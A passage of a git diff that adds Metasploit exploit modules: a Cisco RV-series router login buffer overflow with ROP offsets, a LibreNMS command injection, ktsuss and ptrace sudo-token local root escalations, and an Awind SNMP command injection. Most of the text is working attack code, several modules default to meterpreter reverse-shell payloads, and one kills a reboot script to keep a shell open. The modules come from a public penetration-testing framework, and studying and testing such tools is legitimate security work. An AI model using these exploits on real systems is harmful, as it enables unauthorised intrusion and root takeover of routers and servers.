ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV215W 1.2.0.14', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af5f000, + 'libcrypto_base_addr' => 0x2ac5a001, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV215W 1.2.0.15', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af5f000, + 'libcrypto_base_addr' => 0x2ac5a000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV215W 1.3.0.7', + { + 'offset' => 77, + 'libc_base_addr' => 0x2afeb000, + 'libcrypto_base_addr' => 0x2aca5000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x000a0530, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV215W 1.3.0.8', + { + 'offset' => 77, + 'libc_base_addr' => 0x2afee000, + 'libcrypto_base_addr' => 0x2aca5000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x000a0530, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + ], + 'DisclosureDate' => 'Feb 27 2019', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SERVICE_DOWN, ], + }, + )) + end + + def p(lib, offset) + [(lib + offset).to_s(16)].pack('H*').reverse + end + + def prepare_shellcode(cmd) + case target + # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7 + # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8 + when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11] + shellcode = rand_text_alpha(target['offset']) + # filler + rand_text_alpha(4) + # $s0 + rand_text_alpha(4) + # $s1 + rand_text_alpha(4) + # $s2 + rand_text_alpha(4) + # $s3 + p(target['libc_base_addr'], target['system_offset']) + # $s4 + rand_text_alpha(4) + # $s5 + rand_text_alpha(4) + # $s6 + rand_text_alpha(4) + # $s7 + rand_text_alpha(4) + # $s8 + p(target['libcrypto_base_addr'], target['gadget1']) + # $ra + p(target['libc_base_addr'], target['got_offset']) + + rand_text_alpha(28) + + cmd + shellcode + when targets[5] # RV130/RV130W + shellcode = rand_text_alpha(target['offset']) + # filler + p(target['libc_base_addr'], target['gadget1']) + + p(target['libc_base_addr'], target['system_offset']) + # r2 + rand_text_alpha(4) + # r6 + p(target['libc_base_addr'], target['gadget2']) + # pc + cmd + shellcode + end + end + + def send_request(buffer) + begin + send_request_cgi({ + 'uri' => '/login.cgi', + 'method' => 'POST', + 'vars_post' => { + "submit_button": "login", + "submit_type": "", + "gui_action": "", + "wait_time": 0, + "change_action": "", + "enc": 1, + "user": rand_text_alpha_lower(5), + "pwd": buffer, + "sel_lang": "EN" + } + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") + end + end + + def check + + # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users. + # We use lang_pack/EN.js because it's the one file that changes the most between versions. + # Note that it's not a smoking gun given that some branches keep the exact same files in /www + # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) + + fingerprints = { + "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { + "version" => "Cisco RV110W 1.1.0.9", + "status" =>Exploit::CheckCode::Vulnerable + }, + "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { + "version" => "Cisco RV110W 1.2.0.9", + "status" => Exploit::CheckCode::Vulnerable + }, + "134ee643ec877641030211193a43cc5e93c96a06" => { + "version" => "Cisco RV110W 1.2.0.10", + "status" => Exploit::CheckCode::Vulnerable + }, + "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { + "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + }, + "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { + "version" => "Cisco RV130/RV130W 1.0.0.21", + "status" => Exploit::CheckCode::Vulnerable + }, + "9b1a87b752d11c5ba97dd80d6bae415532615266" => { + "version" => "Cisco RV130/RV130W 1.0.1.3", + "status" => Exploit::CheckCode::Vulnerable + }, + "9b6399842ef69cf94409b65c4c61017c862b9d09" => { + "version" => "Cisco RV130/RV130W 1.0.2.7", + "status" => Exploit::CheckCode::Vulnerable + }, + "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { + "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", + "status" => Exploit::CheckCode::Vulnerable + }, + "8c8e05de96810a02344d96588c09b21c491ede2d" => { + "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + }, + "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { + "version" => "Cisco RV215W 1.1.0.5", + "status" => Exploit::CheckCode::Vulnerable + }, + "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { + "version" => "Cisco RV215W 1.1.0.6", + "status" => Exploit::CheckCode::Vulnerable + }, + "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { + "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", + "status" => Exploit::CheckCode::Vulnerable + }, + "050d47ea944eaeadaec08945741e8e380f796741" => { + "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + } + } + + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'lang_pack/EN.js') + }) + if res && res.code == 200 + fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") + if fingerprints.key?(fingerprint) + print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") + return fingerprints[fingerprint]["status"] + else + print_status("Couldn't reliably fingerprint the target.") + end + end + Exploit::CheckCode::Unknown + end + + def exploit + print_status('Sending request') + execute_cmdstager + end + + def execute_command(cmd, opts = {}) + shellcode = prepare_shellcode(cmd.to_s) + send_request(shellcode) + end + + def on_new_session(session) + # Given there is no process continuation here, the httpd server will stop + # functioning properly and we need to take care of proper restart + # ourselves. + print_status("Reloading httpd service") + reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" + if session.type.to_s.eql? 'meterpreter' + session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' + session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" + else + session.shell_command(reload_httpd_service) + end + ensure + super + end +end diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb new file mode 100644 index 0000000000..76985be979 --- /dev/null +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -0,0 +1,231 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'LibreNMS Collectd Command Injection', + 'Description' => %q( + This module exploits a command injection vulnerability in the + Collectd graphing functionality in LibreNMS. + + The `to` and `from` parameters used to define the range for + a graph are sanitized using the `mysqli_escape_real_string()` + function, which permits backticks. These parameters are used + as part of a shell command that gets executed via the `passthru()` + function, which can result in code execution. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Eldar Marcussen', # Vulnerability discovery + 'Shelby Pace' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2019-10669' ], + [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Linux', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' } + } + ] + ], + 'DisclosureDate' => '2019-07-15', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]), + OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]), + OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]) + ]) + end + + def check + res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path) + return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms') + + about_res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php') + ) + + return Exploit::CheckCode::Detected unless about_res && about_res.code == 200 + + version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/) + return Exploit::CheckCode::Detected unless version && version.length > 1 + vprint_status("LibreNMS version #{version[1]} detected") + version = Gem::Version.new(version[1]) + + return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50') + end + + def login + login_uri = normalize_uri(target_uri.path, 'login') + res = send_request_cgi('method' => 'GET', 'uri' => login_uri) + fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200 + + cookies = res.get_cookies + login_res = send_request_cgi( + 'method' => 'POST', + 'uri' => login_uri, + 'cookie' => cookies, + 'vars_post' => + { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302 + + cookies = login_res.get_cookies + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'cookie' => cookies + ) + fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices') + + print_status('Successfully logged into LibreNMS. Storing credentials...') + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) + login_res.get_cookies + end + + def get_version + uri = normalize_uri(target_uri.path, 'about') + + res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies ) + fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200 + + html = res.get_html_document + version = html.search('tr//td//a') + fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty? + version.each do |e| + return $1 if e.text =~ /(\d+\.\d+\.?\d*)/ + end + end + + def get_device_ids + version = get_version + print_status("LibreNMS version: #{version}") + + if version && Gem::Version.new(version) < Gem::Version.new('1.50') + dev_uri = normalize_uri(target_uri.path, 'ajax_table.php') + format = '+list_detail' + else + dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device') + format = 'list_detail' + end + + dev_res = send_request_cgi( + 'method' => 'POST', + 'uri' => dev_uri, + 'cookie' => @cookies, + 'vars_post' => + { + 'id' => 'devices', + 'format' => format, + 'current' => '1', + 'sort[hostname]' => 'asc', + 'rowCount' => 50 + } + ) + + fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200 + + json = JSON.parse(dev_res.body) + fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty? + + json = json['rows'] + fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty? + + hosts = [] + json.each do |row| + hostname = row['hostname'] + next if hostname.nil? + + id = hostname.match('href=\"device\/device=(\d+)\/') + next unless id && id.length > 1 + hosts << id[1] + end + + fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty? + + hosts + end + + def get_plugin_info(id) + uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd") + + res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies ) + return unless res && res.code == 200 + + html = res.get_html_document + plugin_link = html.at('div[@class="col-md-3"]//a/@href') + return if plugin_link.nil? + + plugin_link = plugin_link.value + plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }] + c_plugin = plugin_hash['c_plugin'] + c_type = plugin_hash['c_type'] + c_type_instance = plugin_hash['c_type_instance'] || '' + c_plugin_instance = plugin_hash['c_plugin_instance'] || '' + + return c_plugin, c_type, c_plugin_instance, c_type_instance + end + + def exploit + req_uri = normalize_uri(target_uri.path, 'graph.php') + @cookies = login + + dev_ids = get_device_ids + + collectd_device = -1 + plugin_name = nil + plugin_type = nil + plugin_instance = nil + plugin_type_inst = nil + dev_ids.each do |device| + collectd_device = device + plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device) + break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst) + collectd_device = -1 + end + + fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1 + print_status("Sending payload via device #{collectd_device}") + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => req_uri, + 'cookie' => @cookies, + 'vars_get' => + { + 'device' => collectd_device, + 'type' => 'device_collectd', + 'to' => Rex::Text.rand_text_numeric(10), + 'from' => "1`#{payload.encoded}`", + 'c_plugin' => plugin_name, + 'c_type' => plugin_type, + 'c_plugin_instance' => plugin_instance, + 'c_type_instance' => plugin_type_inst + } + ) + end +end diff --git a/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb b/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb similarity index 98% rename from modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb rename to modules/exploits/linux/http/ubiquiti_airos_file_upload.rb index b5c15f2d0f..37247577bc 100644 --- a/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb +++ b/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb @@ -13,6 +13,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH + include Msf::Exploit::Deprecated + + moved_from 'exploit/linux/ssh/ubiquiti_airos_file_upload' def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb b/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb new file mode 100644 index 0000000000..f854ee21d0 --- /dev/null +++ b/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ktsuss suid Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges by exploiting + a vulnerability in ktsuss versions 1.4 and prior. + + The ktsuss executable is setuid root and does not drop + privileges prior to executing user specified commands, + resulting in command execution with root privileges. + + This module has been tested successfully on: + + ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and + ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'John Lightsey', # Discovery and exploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => '2011-08-13', + 'References' => + [ + ['CVE', '2011-2921'], + ['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'], + ['URL', 'https://security.gentoo.org/glsa/201201-15'], + ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh'] + ], + 'Platform' => ['linux'], + 'Arch' => + [ + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [['Auto', {}]], + 'DefaultOptions' => + { + 'AppendExit' => true, + 'PrependSetresuid' => true, + 'PrependSetresgid' => true, + 'PrependSetreuid' => true, + 'PrependSetuid' => true, + 'PrependFork' => true + }, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def ktsuss_path + datastore['KTSUSS_PATH'] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + chmod path + end + + def check + unless setuid? ktsuss_path + vprint_error "#{ktsuss_path} is not setuid" + return CheckCode::Safe + end + vprint_good "#{ktsuss_path} is setuid" + + id = cmd_exec 'whoami' + res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s + vprint_status res + + unless res.include? 'uid=0' + return CheckCode::Safe + end + + CheckCode::Vulnerable + end + + def exploit + unless check == CheckCode::Vulnerable + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + payload_name = ".#{rand_text_alphanumeric 10..15}" + payload_path = "#{base_dir}/#{payload_name}" + upload_and_chmodx payload_path, generate_payload_exe + + print_status 'Executing payload ...' + id = cmd_exec 'whoami' + res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo " + vprint_line res + end +end diff --git a/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb b/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb new file mode 100644 index 0000000000..1f6f1116a2 --- /dev/null +++ b/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Kernel + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ptrace Sudo Token Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges by blindly injecting into + the session user's running shell processes and executing commands by + calling `system()`, in the hope that the process has valid cached sudo + tokens with root privileges. + + The system must have gdb installed and permit ptrace. + + This module has been tested successfully on: + + Debian 9.8 (x64); and + CentOS 7.4.1708 (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'chaignc', # sudo_inject + 'bcoles' # Metasploit + ], + 'DisclosureDate' => '2019-03-24', + 'References' => + [ + ['EDB', '46989'], + ['URL', 'https://github.com/nongiach/sudo_inject'], + ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'], + ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'], + ['URL', 'https://lwn.net/Articles/393012/'], + ['URL', 'https://lwn.net/Articles/492667/'], + ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'], + ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html'] + ], + 'Platform' => ['linux'], + 'Arch' => + [ + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [['Auto', {}]], + 'DefaultOptions' => + { + 'PrependSetresuid' => true, + 'PrependSetresgid' => true, + 'PrependFork' => true, + 'WfsDelay' => 30 + }, + 'DefaultTarget' => 0)) + register_options [ + OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def timeout + datastore['TIMEOUT'] + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def check + if yama_enabled? + vprint_error 'YAMA ptrace scope is restrictive' + return CheckCode::Safe + end + vprint_good 'YAMA ptrace scope is not restrictive' + + if command_exists? '/usr/sbin/getsebool' + if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true' + vprint_error 'SELinux deny_ptrace is enabled' + return CheckCode::Safe + end + vprint_good 'SELinux deny_ptrace is disabled' + end + + unless command_exists? 'sudo' + vprint_error 'sudo is not installed' + return CheckCode::Safe + end + vprint_good 'sudo is installed' + + unless command_exists? 'gdb' + vprint_error 'gdb is not installed' + return CheckCode::Safe + end + vprint_good 'gdb is installed' + + CheckCode::Detected + end + + def exploit + unless check == CheckCode::Detected + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + if nosuid? base_dir + fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid" + end + + # Find running shell processes + shells = %w[ash ksh csh dash bash zsh tcsh fish sh] + + system_shells = read_file('/etc/shells').to_s.each_line.map {|line| + line.strip + }.reject {|line| + line.starts_with?('#') + }.each {|line| + shells << line.split('/').last + } + shells = shells.uniq.reject {|shell| shell.blank?} + + print_status 'Searching for shell processes ...' + pids = [] + if command_exists? 'pgrep' + cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid| + pids << pid.strip + end + else + shells.each do |s| + pidof(s).each {|p| pids << p.strip} + end + end + + if pids.empty? + fail_with Failure::Unknown, 'Found no running shell processes' + end + + print_status "Found #{pids.uniq.length} running shell processes" + vprint_status pids.join(', ') + + # Upload payload + @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}" + upload @payload_path, generate_payload_exe + + # Blindly call system() in each shell process + pids.each do |pid| + print_status "Injecting into process #{pid} ..." + + cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1" + sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1" + res = cmd_exec sudo_inject, nil, timeout + vprint_line res unless res.blank? + + next unless setuid? @payload_path + + print_good "#{@payload_path} setuid root successfully" + print_status 'Executing payload...' + res = cmd_exec "#{@payload_path} & echo " + vprint_line res + return + end + + fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.' + end + + def on_new_session(session) + if session.type.eql? 'meterpreter' + session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' + session.fs.file.rm @payload_path + else + session.shell_command_token "rm -f '#{@payload_path}'" + end + ensure + super + end +end diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb new file mode 100644 index 0000000000..4db14fb70f --- /dev/null +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -0,0 +1,181 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SNMPClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "AwindInc SNMP Service Command Injection", + 'Description' => %q{ + This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. + A valid SNMP read-write community is required to exploit this vulnerability. + + The following devices are known to be affected by this issue: + + * Crestron Airmedia AM-100 <= version 1.5.0.4 + * Crestron Airmedia AM-101 <= version 2.5.0.12 + * Awind WiPG-1600w <= version 2.0.1.8 + * Awind WiPG-2000d <= version 2.1.6.2 + * Barco wePresent 2000 <= version 2.1.5.7 + * Newline Trucast 2 <= version 2.1.0.5 + * Newline Trucast 3 <= version 2.1.3.7 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE', '2017-16709'], + ['URL', 'https://github.com/QKaiser/awind-research'], + ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] + ], + 'DisclosureDate' => '2019-03-27', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_ARMLE], + 'Privileged' => true, + 'Targets' => [ + ['Unix In-Memory', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'} + } + ], + ['Linux Dropper', + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'CmdStagerFlavor' => %w[wget], + 'Type' => :linux_dropper + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'})) + + register_options( + [ + OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']), + ]) + end + + + def check + begin + connect_snmp + sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s + print_status("Target system is #{sys_description}") + # AM-100 and AM-101 considered EOL, no fix so no need to check version. + model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first + case model + when 'AM-100', 'AM-101' + return CheckCode::Vulnerable + else + # TODO: insert description check for other vulnerable models (that I don't have) + # In the meantime, we return 'safe'. + return CheckCode::Safe + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + Exploit::CheckCode::Unknown + end + + def inject_payload(cmd) + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Injection successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def trigger + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Trigger successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def exploit + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + + def execute_command(cmd, opts = {}) + # The payload must start with a valid FTP URI otherwise the injection point is not reached + cmd = "ftp://1.1.1.1/$(#{cmd.to_s})" + + # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback + # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and + # keep our reverse shell opened :) + cmd << "$(pkill -f /etc/reboot.sh)" + + # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad + cmd << "A" * (255-cmd.length) + + # we inject our payload in camFWUpgradeFTPURL + print_status("Injecting payload") + inject_payload(cmd) + + # we trigger the firmware download via FTP, which will end up calling this + # "/bin/getRemoteURL.sh %s %s %s %d" + print_status("Triggering call") + trigger + end +end diff --git a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb 